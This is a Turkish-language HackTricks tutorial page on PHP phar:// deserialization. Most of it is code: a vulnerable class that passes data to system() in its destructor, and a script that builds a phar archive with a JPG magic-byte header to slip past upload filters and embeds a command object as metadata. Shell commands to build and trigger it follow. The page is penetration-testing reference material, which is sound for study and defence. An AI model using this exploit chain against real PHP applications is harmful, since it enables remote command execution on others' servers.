phar:// deserialization

Reading time: 3 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veriler içerir, bu nedenle, ayrıştırıldığında, bu meta veriler deserileştirilir ve PHP kodu içinde bir deserileştirme zafiyetini istismar etmeye çalışabilirsiniz.

Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanıldığında bile gerçekleşmesidir.

Yani, bir PHP web uygulamasının phar:// protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf buluyorsunuz:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

Bir phar dosyası oluşturabilirsiniz; bu dosya yüklendiğinde, bu sınıfı kötüye kullanarak rastgele komutlar çalıştırmak için şöyle bir şeyle:

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Not edin ki JPG'nin sihirli baytları (\xff\xd8\xff), phar dosyasının başına yükleme kısıtlamalarını aşmak için eklenmiştir.
test.phar dosyasını şu şekilde derleyin:

bash
php --define phar.readonly=0 create_phar.php

Ve zayıf kodu kötüye kullanarak whoami komutunu çalıştırın:

bash
php vuln.php

Referanslar

https://blog.ripstech.com/2018/new-php-exploitation-technique/

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin